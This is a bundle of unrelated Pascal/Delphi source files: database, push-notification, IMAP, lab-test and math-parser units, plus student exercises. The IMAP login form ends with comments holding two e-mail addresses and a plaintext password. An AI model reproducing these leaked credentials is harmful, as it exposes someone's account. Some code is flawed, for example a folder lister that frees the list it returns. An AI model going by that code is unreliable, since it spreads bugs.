SQLQuery.Connection := SQLConnection;
end;
SQLConnection.HostName := Config.GetItemValue(rsHostName);
SQLConnection.User := Config.GetItemValue(rsUserName);
SQLConnection.Password := Config.GetItemValue(rsPassword);
SQLConnection.Protocol := 'mysql-5';
aDB := Config.GetItemValue(rsDatabase);
ConnectToDatabase('mysql');
OpenQuery('show databases');
if not SQLQuery.Locate('database',aDB,[loCaseInsensitive]) then begin
Log(etInfo,'Connected to database, creating schema : ' + aDB);
ExecQuery('create schema ' + aDB +';');
end;
SQLQuery.Close;
ConnectToDatabase(aDB);
Assert(fTestTableName<>''); // This value must be initialized in constructor
OpenQuery('show tables');
if not SQLQuery.Locate('tables_in_'+ aDB,fTestTableName,[loCaseInsensitive]) then begin
Log(etInfo,'Creating tables');
for aSQL in fSchemaCreation do
ExecQuery(aSQL);
end;
SQLQuery.Close;
end;
end;
procedure TxPLDBListener.ConnectToDatabase(const aSchema : string);
begin
SQLConnection.Connected := false;
SQLConnection.Database := aSchema;
try
SQLConnection.Connected := true;
except
on E : Exception do Log(etError, 'Database library missing');
end;
end;
procedure TxPLDBListener.OpenQuery(const aQuery : string);
begin
SQLQuery.SQL.Text := aQuery;
SQLQuery.Open;
end;
procedure TxPLDBListener.ExecQuery(const aQuery : string);
begin
SQLQuery.SQL.Text := aQuery;
SQLQuery.ExecSQL;
end;
end.
|
unit Utilities.FolderLister;
interface
uses
Common.Utils,
System.Classes,
System.Generics.Collections,
Vcl.Dialogs,
Vcl.FileCtrl;
type
TFolderLister = class
private
FFolderList: TFileRecordList;
public
class function GetFolderList(const StartDir: string; const FileMask: string = ''): TFileRecordList;
end;
implementation
{ FolderLister }
class function TFolderLister.GetFolderList(const StartDir: string; const FileMask: string = ''): TFileRecordList;
var
eMask: string;
tmpList: TFileRecordList;
begin
eMask := FileMask;
if eMask = '' then
eMask := '*.*';
tmpList := TFileRecordList.Create;
try
FindAllFiles(tmpList, StartDir, eMask);
Result := tmpList;
finally
tmpList.Free;
end;
end;
end.
|
{*******************************************************}
{ }
{ Delphi REST Client Framework }
{ }
{ Copyright(c) 2014-2018 Embarcadero Technologies, Inc. }
{ All rights reserved }
{ }
{*******************************************************}
unit REST.Backend.ParsePushDevice;
{$HPPEMIT LINKUNIT}
interface
uses
System.Classes,
System.SysUtils,
System.JSON,
System.PushNotification,
REST.Backend.Providers,
REST.Backend.PushTypes,
REST.Backend.ParseProvider,
REST.Backend.ParseApi,
REST.Backend.Exception,
REST.Backend.MetaTypes;
type
{$IFDEF IOS}
{$DEFINE PUSH}
{$ENDIF}
{$IFDEF ANDROID}
{$DEFINE PUSH}
{$ENDIF}
TParsePushDeviceAPI = class(TParseServiceAPIAuth, IBackendPushDeviceApi, IBackendPushDeviceApi2)
private const
sParse = 'Parse';
private
FGCMAppID: String;
FInstallationID: string;
{$IFDEF PUSH}
FInstallationObjectID: string;
{$ENDIF}
protected
{ IBackendPushDeviceAPI }
function GetPushService: TPushService; // May raise exception
function HasPushService: Boolean;
procedure RegisterDevice(AOnRegistered: TDeviceRegisteredAtProviderEvent); overload;
procedure UnregisterDevice;
{ IBackendPushDeviceAPI2 }
procedure RegisterDevice(const AProperties: TJSONObject; AOnRegistered: TDeviceRegisteredAtProviderEvent); overload;
/// <summary>Get the identify of the installation object after a device has been registered. True is returned if the identity
/// is available. Use the TBackendEntityValue.ObjectID property to retrieve the object id of the installation object.
/// </summary>
function TryGetInstallationValue(out AValue: TBackendEntityValue): Boolean;
end;
TParsePushDeviceService = class(TParseBackendService<TParsePushDeviceAPI>, IBackendService, IBackendPushDeviceService)
protected
function CreateBackendApi: TParsePushDeviceAPI; override;
{ IBackendPushDeviceService }
function CreatePushDeviceApi: IBackendPushDeviceApi;
function GetPushDeviceApi: IBackendPushDeviceApi;
end;
EParsePushNotificationError = class(EBackendServiceError);
implementation
uses
System.Generics.Collections,
System.TypInfo,
REST.Backend.Consts,
REST.Backend.ServiceFactory,
REST.Backend.ParseMetaTypes
{$IFDEF PUSH}
{$IFDEF IOS}
,FMX.PushNotification.IOS // inject IOS push provider
{$ENDIF}
{$IFDEF ANDROID}
,FMX.PushNotification.Android // inject GCM push provider
{$ENDIF}
{$ENDIF}
;
{ TParsePushDeviceService }
function TParsePushDeviceService.CreatePushDeviceApi: IBackendPushDeviceApi;
begin
Result := CreateBackendApi;
end;
function TParsePushDeviceService.CreateBackendApi: TParsePushDeviceAPI;
begin
Result := inherited;
if ConnectionInfo <> nil then
begin
Result.FGCMAppID := ConnectionInfo.AndroidPush.GCMAppID;
Result.FInstallationID := ConnectionInfo.AndroidPush.InstallationID
end
else
begin
Result.FGCMAppID := '';
Result.FInstallationID := '';
end;
end;
function TParsePushDeviceService.GetPushDeviceApi: IBackendPushDeviceApi;
begin
EnsureBackendApi;
Result := BackendAPI;
end;
{ TParsePushDeviceAPI }
function GetDeviceID(const AService: TPushService): string;
begin
Result := AService.DeviceIDValue[TPushService.TDeviceIDNames.DeviceID];
end;
function GetDeviceName: string;
begin
{$IFDEF IOS}
Result := 'ios';
{$ENDIF}
{$IFDEF ANDROID}
Result := 'android';
{$ENDIF}
{$IFDEF MSWINDOWS}
Result := 'windows';
{$ENDIF}
end;
function GetServiceName: string;
begin
{$IFDEF PUSH}
{$IFDEF IOS}
Result := TPushService.TServiceNames.APS;
{$ENDIF}
{$IFDEF ANDROID}
Result := TPushService.TServiceNames.GCM;
{$ENDIF}
{$IFDEF MSWINDOWS}
Result := '';
{$ENDIF}
{$ENDIF}
end;
function GetService(const AServiceName: string): TPushService;
begin
Result := TPushServiceManager.Instance.GetServiceByName(AServiceName);
end;
procedure GetRegistrationInfo(const APushService: TPushService;
out ADeviceID, ADeviceToken: string);
begin
ADeviceID := APushService.DeviceIDValue[TPushService.TDeviceIDNames.DeviceID];
ADeviceToken := APushService.DeviceTokenValue[TPushService.TDeviceTokenNames.DeviceToken];
if ADeviceID = '' then
raise EParsePushNotificationError.Create(sDeviceIDUnavailable);
if ADeviceToken = '' then
raise EParsePushNotificationError.Create(sDeviceTokenUnavailable);
end;
function TParsePushDeviceAPI.GetPushService: TPushService;
var
LServiceName: string;
LDeviceName: string;
LService: TPushService;
begin
LDeviceName := GetDeviceName;
Assert(LDeviceName <> '');
LServiceName := GetServiceName;
if LServiceName = '' then
raise EParsePushNotificationError.CreateFmt(sPushDeviceNoPushService, [sParse, LDeviceName]);
LService := GetService(LServiceName);
if LService = nil then
raise EParsePushNotificationError.CreateFmt(sPushDevicePushServiceNotFound, [sParse, LServiceName]);
if LService.ServiceName = TPushService.TServiceNames.GCM then
if not (LService.Status in [TPushService.TStatus.Started]) then
begin
if FGCMAppID = '' then
raise EParsePushNotificationError.Create(sPushDeviceGCMAppIDBlank);
LService.AppProps[TPushService.TAppPropNames.GCMAppID] := FGCMAppID;
end;
Result := LService;
end;
function TParsePushDeviceAPI.HasPushService: Boolean;
var
LServiceName: string;
begin
LServiceName := GetServiceName;
Result := (LServiceName <> '') and (GetService(LServiceName) <> nil);
end;
procedure TParsePushDeviceAPI.RegisterDevice(
AOnRegistered: TDeviceRegisteredAtProviderEvent);
begin
RegisterDevice(nil, AOnRegistered);
end;
function TParsePushDeviceAPI.TryGetInstallationValue(
out AValue: TBackendEntityValue): Boolean;
begin
{$IFDEF PUSH}
Result := FInstallationObjectID <> '';
if Result then
AValue := TBackendEntityValue.Create(TMetaObjectID.Create(TParseAPI.TObjectID.Create('', FInstallationObjectID)));
{$ELSE}
Result := False;
{$ENDIF}
end;
procedure TParsePushDeviceAPI.RegisterDevice(const AProperties: TJSONObject;
AOnRegistered: TDeviceRegisteredAtProviderEvent);
var
LDeviceName: string;
LServiceName: string;
{$IFDEF PUSH}
LDeviceID: string;
LDeviceToken: string;
ANewObject: TParseAPI.TObjectID;
AUpdateObject: TParseAPI.TUpdatedAt;
LJSONObject: TJSONObject;
{$ENDIF}
begin
LDeviceName := GetDeviceName;
Assert(LDeviceName <> '');
LServiceName := GetServiceName;
if LServiceName = '' then
raise EParsePushNotificationError.CreateFmt(sPushDeviceNoPushService, [sParse, LDeviceName]);
// Badge and Channel properties
{$IFDEF PUSH}
GetRegistrationInfo(GetPushService, LDeviceID, LDeviceToken); // May raise exception
{$IFDEF IOS}
LJSONObject := ParseApi.CreateIOSInstallationObject(LDeviceToken, AProperties);
{$ELSE}
LJSONObject := ParseApi.CreateAndroidInstallationObject(FGCMAppId, FInstallationID, LDeviceToken, AProperties);
{$ENDIF}
try
if FInstallationObjectID <> '' then
begin
try
ParseApi.UpdateInstallation(FInstallationObjectID, LJSONObject, AUpdateObject);
except
FInstallationObjectID := ''; // Could be invalid
raise;
end;
if Assigned(AOnRegistered) then
AOnRegistered(GetPushService);
end
else
begin
ParseApi.UploadInstallation(LJSONObject, ANewObject);
FInstallationObjectID := ANewObject.ObjectID;
if Assigned(AOnRegistered) then
AOnRegistered(GetPushService);
end;
finally
LJSONObject.Free;
end;
{$ELSE}
raise EParsePushNotificationError.CreateFmt(sPushDeviceNoPushService, [sParse, LDeviceName]);
{$ENDIF}
end;
procedure TParsePushDeviceAPI.UnregisterDevice;
var
LDeviceName: string;
LServiceName: string;
begin
LServiceName := '';
LDeviceName := GetDeviceName;
Assert(LDeviceName <> '');
{$IFDEF PUSH}
if FInstallationObjectID = '' then
raise EParsePushNotificationError.Create(sPushDeviceParseInstallationIDBlankDelete);
ParseApi.DeleteInstallation(FInstallationObjectID);
FInstallationObjectID := '';
{$ELSE}
raise EParsePushNotificationError.CreateFmt(sPushDeviceNoPushService, [sParse, LDeviceName]);
{$ENDIF}
end;
type
TParsePushDeviceServiceFactory = class(TProviderServiceFactory<IBackendPushDeviceService>)
protected
function CreateService(const AProvider: IBackendProvider; const IID: TGUID): IBackendService; override;
public
constructor Create;
end;
constructor TParsePushDeviceServiceFactory.Create;
begin
inherited Create(TCustomParseProvider.ProviderID, 'REST.Backend.ParsePushDevice'); // Do not localize
end;
function TParsePushDeviceServiceFactory.CreateService(const AProvider: IBackendProvider;
const IID: TGUID): IBackendService;
begin
Result := TParsePushDeviceService.Create(AProvider);
end;
var
FFactory: TParsePushDeviceServiceFactory;
initialization
FFactory := TParsePushDeviceServiceFactory.Create;
FFactory.Register;
finalization
FFactory.Unregister;
FFactory.Free;
end.
|
unit IdIOHandlerStream;
interface
uses
Classes,
IdGlobal, IdIOHandler;
type
TIdIOHandlerStreamType = (stRead, stWrite, stReadWrite);
TIdIOHandlerStream = class(TIdIOHandler)
protected
FReadStream: TStream;
FWriteStream: TStream;
FStreamType: TIdIOHandlerStreamType;
public
constructor Create(AOwner: TComponent); override;
function Connected: Boolean; override;
destructor Destroy; override;
function Readable(AMSec: integer = IdTimeoutDefault): boolean; override;
function Recv(var ABuf; ALen: integer): integer; override;
function Send(var ABuf; ALen: integer): integer; override;
//
property ReadStream: TStream read FReadStream write FReadStream;
property WriteStream: TStream read FWriteStream write FWriteStream;
published
property StreamType: TIdIOHandlerStreamType read FStreamType write FStreamType;
end;
implementation
uses
SysUtils;
{ TIdIOHandlerStream }
function TIdIOHandlerStream.Connected: Boolean;
begin
Result := false; // Just to avaid waring message
case FStreamType of
stRead: Result := (FReadStream <> nil);
stWrite: Result := (FWriteStream <> nil);
stReadWrite: Result := (FReadStream <> nil) and (FWriteStream <> nil);
end;
end;
constructor TIdIOHandlerStream.Create(AOwner: TComponent);
begin
inherited;
FStreamType := stReadWrite;
end;
destructor TIdIOHandlerStream.Destroy;
begin
Close;
inherited Destroy;
end;
function TIdIOHandlerStream.Readable(AMSec: integer): boolean;
begin
Result := ReadStream <> nil;
if Result then begin
Result := ReadStream.Position < ReadStream.Size;
end;
end;
function TIdIOHandlerStream.Recv(var ABuf; ALen: integer): integer;
begin
if ReadStream = nil then begin
Result := 0;
end else begin
Result := ReadStream.Read(ABuf, ALen);
end;
end;
function TIdIOHandlerStream.Send(var ABuf; ALen: integer): integer;
begin
if WriteStream = nil then begin
Result := 0;
end else begin
Result := WriteStream.Write(ABuf, ALen);
end;
end;
end.
|
unit UMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, imapsend, ssl_openssl;
type
TMainForm = class(TForm)
lbl1: TLabel;
edtHost: TEdit;
btnLogin: TButton;
lbl2: TLabel;
edtPort: TEdit;
lbl3: TLabel;
edtLogin: TEdit;
lbl4: TLabel;
edtPassword: TEdit;
chkAutoTLS: TCheckBox;
chkSSL: TCheckBox;
mmoLog: TMemo;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnLoginClick(Sender: TObject);
private
ImapClient: TIMAPSend;
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
{$R *.dfm}
procedure TMainForm.FormDestroy(Sender: TObject);
begin
ImapClient.Free;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
ImapClient := TIMAPSend.Create;
end;
procedure TMainForm.btnLoginClick(Sender: TObject);
begin
if SameText(btnLogin.Caption, 'Подключение') then
begin
ImapClient.TargetHost := edtHost.Text;
ImapClient.TargetPort := edtPort.Text;
ImapClient.UserName := edtLogin.Text;
ImapClient.Password := edtPassword.Text;
ImapClient.AutoTLS := chkAutoTLS.Checked;
ImapClient.FullSSL := chkSSL.Checked;
if ImapClient.Login then begin
btnLogin.Caption:='Отключение';
// запрос количенства писем
ImapClient.SelectFolder('INBOX');
mmoLog.Lines.Add(Format('Всего писем: %d', [ImapClient.SelectedCount]));
end else
raise Exception.Create('Ошибка выполнения команды LOGIN');
end
else
begin
if ImapClient.Logout then
btnLogin.Caption:='Подключение'
else
raise Exception.Create('Ошибка выполнения команды LOGOUT');
end;
end;
{ teplo-obmen@tut.by }
{ ZaQXsW12 }
{ rkc-teplo@tut.by }
{ ZaQXsW12 }
end.
|
unit fLabTest;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ORCtrls, StdCtrls, ExtCtrls, ORNet, fBase508Form, VA508AccessibilityManager;
type
TfrmLabTest = class(TfrmBase508Form)
pnlLabTest: TORAutoPanel;
cmdOK: TButton;
cmdCancel: TButton;
cboList: TORComboBox;
cboSpecimen: TORComboBox;
lblTest: TLabel;
lblSpecimen: TLabel;
lblSpecInfo: TLabel;
procedure FormCreate(Sender: TObject);
procedure cboListNeedData(Sender: TObject; const StartFrom: string;
Direction, InsertAt: Integer);
procedure cboSpecimenNeedData(Sender: TObject; const StartFrom: string;
Direction, InsertAt: Integer);
procedure cmdOKClick(Sender: TObject);
procedure cboListEnter(Sender: TObject);
procedure cboListExit(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
procedure SelectTest(FontSize: Integer);
implementation
uses fLabs, ORFn, rLabs, VAUtils;
{$R *.DFM}
procedure SelectTest(FontSize: Integer);
var
frmLabTest: TfrmLabTest;
W, H: integer;
begin
frmLabTest := TfrmLabTest.Create(Application);
try
with frmLabTest do
begin
Font.Size := FontSize;
W := ClientWidth;
H := ClientHeight;
ResizeToFont(FontSize, W, H);
ClientWidth := W; pnlLabTest.Width := W;
ClientHeight := H; pnlLabTest.Height := H;
lblSpecInfo.Height := cboList.Height;
lblSpecInfo.Width := pnlLabTest.Width - cboList.Left - cboList.Width -10;
ShowModal;
end;
finally
frmLabTest.Release;
end;
end;
procedure TfrmLabTest.FormCreate(Sender: TObject);
var
blood, urine, serum, plasma: string;
begin
RedrawSuspend(cboList.Handle);
cboList.InitLongList('');
RedrawActivate(cboList.Handle);
RedrawSuspend(cboSpecimen.Handle);
cboSpecimen.InitLongList('');
SpecimenDefaults(blood, urine, serum, plasma);
cboSpecimen.Items.Add('0^Any');
cboSpecimen.Items.Add(serum + '^Serum');
cboSpecimen.Items.Add(blood + '^Blood');
cboSpecimen.Items.Add(plasma + '^Plasma');
cboSpecimen.Items.Add(urine + '^Urine');
cboSpecimen.Items.Add(LLS_LINE);
cboSpecimen.Items.Add(LLS_SPACE);
cboSpecimen.ItemIndex := 0;
RedrawActivate(cboSpecimen.Handle);
end;
procedure TfrmLabTest.cboListNeedData(Sender: TObject;
const StartFrom: string; Direction, InsertAt: Integer);
begin
cboList.ForDataUse(AtomicTests(StartFrom, Direction));
end;
procedure TfrmLabTest.cboSpecimenNeedData(Sender: TObject;
const StartFrom: string; Direction, InsertAt: Integer);
begin
cboSpecimen.ForDataUse(Specimens(StartFrom, Direction));
end;
procedure TfrmLabTest.cmdOKClick(Sender: TObject);
begin
if cboList.ItemIndex = -1 then
ShowMsg('No test was selected.')
else
begin
frmLabs.lblSingleTest.Caption := cboList.Items[cboList.ItemIndex];
frmLabs.lblSpecimen.Caption := cboSpecimen.Items[cboSpecimen.ItemIndex];
Close;
end;
end;
procedure TfrmLabTest.cboListEnter(Sender: TObject);
begin
cmdOK.Default := true;
end;
procedure TfrmLabTest.cboListExit(Sender: TObject);
begin
cmdOK.Default := false;
end;
end.
|
unit uLib;
interface
procedure SolveMathExpression(Sender: TObject);
function ExpressionParser_Level1(expression: string): Double;
function ExpressionParser_Level2(expression: string): Double;
function ExpressionParser_Level3(expression: string): Double;
implementation
uses
StdCtrls, System.SysUtils, uOtherObjects, uConfig, System.Math, Windows, uTranslate, uMain, System.StrUtils;
procedure SolveMathExpression(Sender: TObject);
var
text: string;
begin
try
text := (Sender as TCustomEdit).Text;
if text = '' then Exit;
(Sender as TCustomEdit).Text := FloatToStr( ExpressionParser_Level2(text) );
except
on E:Exception do begin
if Pos('not a valid floating point value', E.Message) > 1 then begin
MessageBox(0, PChar(TransTxt('Incorrect numerical value')), PChar(TransTxt('Error')), MB_ICONERROR);
(Sender as TCustomEdit).SetFocus;
end else
fMain.Log('ERROR IN uLib.SolveMathExpression() : ' + E.Message); // Log() vo fMain umoznuje aj remotelog na server
end;
end;
end;
function ExpressionParser_Level1(expression: string): Double;
var
i,j: Integer;
tmp1: string;
tmp2: TMathOperationObject;
op1, op2: Byte;
arrCisla: array of Double;
arrZnamienka: array of TMathOperationObject;
vysledok: Double;
begin
// parsuje matematicky vyraz
// Level 1 = parsuje len zakladne operacie (+ - * /) cize napriklad vyrazy "3+8/2-2"
// osetreny pripad, ak sa vyraz zacina zapornym cislom
if (expression[1] = '-') then begin
tmp1 := '-';
end;
// ideme znak po znaku vo vyraze a parsujeme ho
for i := Length(tmp1)+1 to Length(expression) do begin
if ((expression[i] = otPlus) OR (expression[i] = otMinus) OR (expression[i] = otKrat) OR (expression[i] = otDelene)) then begin
SetLength(arrCisla, Length(arrCisla)+1 );
SetLength(arrZnamienka, Length(arrZnamienka)+1 );
arrCisla[ Length(arrCisla)-1 ] := StrToFloat(tmp1);
tmp1 := '';
tmp2 := TMathOperationObject.Create;
tmp2.Typ := expression[i];
tmp2.Op1 := Length(arrCisla);
tmp2.Op2 := tmp2.Op1 + 1;
arrZnamienka[ Length(arrZnamienka)-1 ] := tmp2;
end else begin
SetLength(tmp1, Length(tmp1)+1 );
tmp1[ Length(tmp1) ] := expression[i];
end;
end;
// este pridame do pola posledne cislo z retazca
if tmp1 <> '' then begin
SetLength(arrCisla, Length(arrCisla)+1 );
arrCisla[ Length(arrCisla)-1 ] := StrToFloat(tmp1);
end;
if Length(arrZnamienka) = 0 then
// ak sa nenasla ziadna operacia (+ - / *) tak jednoducho vratime to co prislo
vysledok := StrToFloat(expression)
else if ((Length(arrZnamienka) = 1) AND (Length(arrCisla) = 1)) then
vysledok := arrCisla[0]
else begin
for i := 0 to High(arrZnamienka) do begin // prvy prechod vyhodnocuje KRAT a DELENE (tie maju vyssiu prioritu)
op1 := arrZnamienka[i].Op1;
op2 := arrZnamienka[i].Op2;
if arrZnamienka[i].Typ = otKrat then begin
arrCisla[ op1-1 ] := arrCisla[op1-1] * arrCisla[op2-1];
if i < High(arrZnamienka) then
arrZnamienka[i+1].Op1 := op1; // kedze operand c.2 je uz neaktualny, prepiseme odkaz nanho v nasledujucom "znamienku"
end;
if arrZnamienka[i].Typ = otDelene then begin
arrCisla[ op1-1 ] := arrCisla[op1-1] / arrCisla[op2-1];
if i < High(arrZnamienka) then
arrZnamienka[i+1].Op1 := op1; // kedze operand c.2 je uz neaktualny, prepiseme odkaz nanho v nasledujucom "znamienku"
end;
end;
for i := 0 to High(arrZnamienka) do begin // druhy prechod vyhodnocuje PLUS a MINUS
op1 := arrZnamienka[i].Op1;
op2 := arrZnamienka[i].Op2;
if arrZnamienka[i].Typ = otPlus then begin
arrCisla[ op1-1 ] := arrCisla[op1-1] + arrCisla[op2-1];
if i < High(arrZnamienka) then
for j := 0 to High(arrZnamienka) do
arrZnamienka[j].Op1 := op1; // kedze operand c.2 je uz neaktualny, prepiseme odkaz nanho v nasledujucom "znamienku"
end;
if arrZnamienka[i].Typ = otMinus then begin
arrCisla[ op1-1 ] := arrCisla[op1-1] - arrCisla[op2-1];
if i < High(arrZnamienka) then
for j := 0 to High(arrZnamienka) do
arrZnamienka[j].Op1 := op1; // kedze operand c.2 je uz neaktualny, prepiseme odkaz nanho v nasledujucom "znamienku"
end;
end;
vysledok := arrCisla[0];
end;
Result := System.Math.RoundTo(vysledok, -3);
end;
function ExpressionParser_Level2(expression: string): Double;
var
i: Integer;
vyrazZatvorky: string;
zapisujSi: Boolean;
vysledokZatvorky: string;
begin
// parsuje matematicky vyraz
// Level 2 = parsuje zatvorky a vyhodnocuje ich
// kym sa vo vyraze nachadza otvaracia zatvorka, odstranuj ich postupne po jednej
while Pos('(' ,expression) > 0 do begin
zapisujSi := false;
// odstranenie jednej zatvorky (ide sa od najvnutornejsich)
for i := 1 to Length(expression) do begin
// nasli sme zaciatok, zresetujeme buffer na '(' a nastavime priznak, ze zapisujeme odteraz vsetko co najdeme
if expression[i] = '(' then begin
vyrazZatvorky := '';
zapisujSi := True;
Continue;
end;
if expression[i] = ')' then begin
vysledokZatvorky := '';
if vyrazZatvorky <> '' then // kontrola prazdenj zatvorky
vysledokZatvorky := FloatToStr( ExpressionParser_Level1( vyrazZatvorky )); // poslem do riesitela vyraz na vyriesenie
expression := ReplaceStr(expression, '('+vyrazZatvorky+')', vysledokZatvorky);
Break;
end;
if zapisujSi then
vyrazZatvorky := vyrazZatvorky + expression[i];
end;
end;
Result := ExpressionParser_Level1(expression);
end;
function ExpressionParser_Level3(expression: string): Double;
begin
// parsuje matematicky vyraz
// Level 3 = parsuje matematicke funkcie a vyhodnocuje ich (napr. sin() , cos() )
end;
end.
|
{Ejercicio 6
Escriba un programa flipflop en Pascal que dada la matriz de booleanos de tipo:
CONST
M = . . .;
N = . . .;
P = . . .;
TYPE
RangoM = 1..M;
RangoN = 1..N;
RangoP = 1..P;
MatrizBool = ARRAY[RangoM,RangoN,RangoP] OF Boolean;
cambie todos los True a False y viceversa, en cada uno de los componentes de la matriz lógica. Los valores de la matriz
se leen desde la entrada estándar. El resultado se debe imprimir en la salida estándar.}
program ejercicio6;
const
M = 3;
N = 3;
P = 3;
type
RangoM = 1..M;
RangoN = 1..N;
RangoP = 1..P;
MatrizBool = array[RangoM, RangoN, RangoP] of boolean;
var entrada : MatrizBool;
i, j,k, y : integer;
valor : boolean;
begin
valor := false;
for i := 1 to M do
begin
for j := 1 to N do
for k := 1 to P do
begin
read(y);
if (y > 0) then
valor := true;
entrada[i,j,k] := valor;
end;
end;
for i := 1 to M do
for j := 1 to N do
begin
for k := 1 to P do
write('A[', i:2, ', ', j:2, ', ', k:2, '] = ', entrada[i,j,k], ' ');
writeln;
end;
writeln;
for i := 1 to M do
begin
for j := 1 to N do
for k := 1 to P do
begin
if (entrada[i,j,k] = true) then
entrada[i,j,k] := false
else
entrada[i,j,k] := true;
end;
end;
writeln;
for i := 1 to M do
for j := 1 to N do
begin
for k := 1 to P do
write('B[', i:2, ', ', j:2, ', ', k:2, '] = ', entrada[i,j,k], ' ');
writeln;
end;
end. |
Program CaesarSimple;
function IsAlpha(c : char) : boolean;
var
charI : integer;
begin
charI := ord(c);
IsAlpha := ((charI >= 65) and (charI <= 90));
end;
var
text, textUpper : string;
rot, i : integer;
charI : integer;
begin
readln(rot);
read(text);
textUpper := UpCase(text);
rot := rot mod 26;
if rot < 0 then
rot := rot + 26;
for i := 1 to (Length(textUpper)) do begin
if IsAlpha(textUpper[i]) then
begin
charI := ord(textUpper[i]) + rot;
if charI > 90 then
charI := charI - 26;
write(chr(charI));
end
else
write(textUpper[i]);
end;
writeln();
end.
|
{$A+,B-,D+,E-,F-,G+,I+,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+,Y+}
{$M 1024,0,0}
{
by Behdad Esfahbod
Algorithmic Problems Book
September '1999
Problem 30 Backtrack Method
}
program
GraphAutoMorphism;
const
MaxN = 100;
var
N : Integer;
G : array [1 .. MaxN, 1 .. MaxN] of Integer;
DOut, DIn, P : array [1 .. MaxN] of Integer;
D2 : array [1 .. MaxN] of Longint;
I, J, T, L : Integer;
TT : Longint;
Time : Longint absolute $40:$6C;
F : Text;
procedure ReadInput;
begin
Assign(F, 'input.txt');
Reset(F);
Readln(F, N);
for I := 1 to N do
begin
for J := 1 to N do
begin
Read(F, G[I, J]);
Inc(DOut[I], G[I, J]); Inc(DIn[J], G[I, J]);
end;
Readln(F);
end;
Close(F);
Assign(F, 'output.txt');
Rewrite(F);
end;
procedure Swap (A, B : Integer);
begin T := P[A]; P[A] := P[B]; P[B] := T; end;
procedure Found;
var
A : Integer;
begin
for I := 1 to N do
Write(F, P[I], ' ');
Writeln(F);
end;
procedure BT (V : Integer);
var
K : Integer;
begin
if V > N then begin Found; Exit; end;
for K := V to N do if D2[P[V]] = D2[P[K]] then
begin
Swap(V, K);
for L := 1 to V do if (G[L, V] <> G[P[L], P[V]]) or (G[V, L] <> G[P[V], P[L]]) then Break;
if L = V then BT(V + 1);
Swap(V, K);
end;
end;
procedure Solve;
begin
{$Q-}
TT := Time;
for I := 1 to N do
begin
Inc(D2[I], 32768 * (DOut[I] + 256 * DIn[I]));
for J := 1 to N do
Inc(D2[I], 17 * G[I, J] * (DOut[J] + 3 * DIn[J]) +
13 * G[J, I] * (5 * DOut[J] + DIn[J]) );
end;
for I := 1 to N do P[I] := I;
TT := Time;
BT(1);
Writeln((Time - TT) / 18.2 : 0 : 2);
end;
begin
ReadInput;
Solve;
Close(F);
end.
|
unit uTabela;
interface
type
TDataTableAttribute = class(TCustomAttribute)
private
FTabela: string;
public
constructor Create(ATabela: string);
property Tabela: string read FTabela write FTabela;
end;
implementation
{ TDataTable }
constructor TDataTableAttribute.Create(ATabela: string);
begin
FTabela := ATabela;
end;
end.
|
{*********************************************}
{ TeeBI Software Library }
{ TFilterItem DateTime editor dialog }
{ Copyright (c) 2015-2016 by Steema Software }
{ All Rights Reserved }
{*********************************************}
unit VCLBI.Editor.Filter.DateTime;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls, Vcl.ExtCtrls,
BI.Arrays, BI.Expression.Filter, VCLBI.Editor.DateTimeRange,
VCLBI.Editor.ListItems;
(*
Select a datetime "range" using multiple options.
1) Predefined ranges:
"This month", "Last year" etc etc
2) Custom from/to range
3) Optional: include/exclude specific months and weekdays
*)
type
TDateTimeFilterEditor = class(TForm)
PageControl1: TPageControl;
TabCommon: TTabSheet;
TabCustom: TTabSheet;
LBCommon: TListBox;
TabIncluded: TTabSheet;
PanelMonths: TPanel;
PanelWeeks: TPanel;
Splitter1: TSplitter;
procedure FormShow(Sender: TObject);
procedure PageControl1Change(Sender: TObject);
procedure LBCommonClick(Sender: TObject);
private
{ Private declarations }
IChanging : Boolean;
Item : TFilterItem;
IMonths,
IWeeks : TFormListItems;
IRange : TDateTimeRangeEditor;
FOnChanged : TNotifyEvent;
procedure ChangedIncluded(Sender: TObject);
procedure ChangedRange(Sender: TObject);
procedure DoChanged;
function Months: TBooleanArray;
function WeekDays: TBooleanArray;
public
{ Public declarations }
class function Embed(const AOwner:TComponent; const AParent:TWinControl;
const AOnChange:TNotifyEvent):TDateTimeFilterEditor; static;
procedure Refresh(const AItem:TFilterItem);
property OnChanged:TNotifyEvent read FOnChanged write FOnChanged;
end;
implementation
|
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Unit3;
type
TForm2 = class(TForm)
Panel1: TPanel;
LabeledEdit1: TLabeledEdit;
LabeledEdit2: TLabeledEdit;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure LabeledEdit1KeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.dfm}
procedure TForm2.Button3Click(Sender: TObject);
begin
Form2.Close;
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
LabeledEdit1.Text := '';
LabeledEdit2.Text := '';
end;
procedure TForm2.Button1Click(Sender: TObject);
var
diplomna: TDiplomnaRabota;
isExist: boolean;
isChecked: boolean;
begin
if (LabeledEdit1.Text = '') then begin
ShowMessage('Моля въведете пореден номер!');
end
else if (LabeledEdit2.Text = '') then begin
ShowMessage('Моля въведете наименованието на темата!');
end
else begin
isExist := false;
isChecked := false;
{$I-}
Reset(infF);
{$I+}
if IOResult = 0 then begin
isChecked := true;
while not Eof(infF) do begin
Read(infF, diplomna);
if (LabeledEdit1.Text = diplomna.por_nom) then begin
isExist := true;
ShowMessage('Съществува дипломна работа с този пореден номер!');
break;
end;
end;
CloseFile(infF);
end
else begin
ShowMessage('Файлът не е намерен');
end;
if (isExist = false) and (isChecked) then begin
{$I-}
Reset(infF);
{$I+}
if IOResult = 0 then begin
